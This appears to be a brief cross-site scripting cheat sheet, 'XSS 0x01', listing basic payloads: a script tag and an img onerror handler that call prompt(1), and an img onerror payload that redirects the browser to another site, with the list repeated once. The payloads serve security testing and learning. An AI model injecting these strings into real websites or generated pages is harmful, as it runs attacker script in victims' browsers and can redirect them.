XSS 0x01
<script>prompt(1)</script>

<img src=x onerror="prompt(1)">

It will redirect to google.com
<img src=x onerror="window.location.href='https://google.com'">

Last updated
<script>prompt(1)</script>
<img src=x onerror="prompt(1)">
It will redirect to google.com
<img src=x onerror="window.location.href='https://google.com'">
Last updated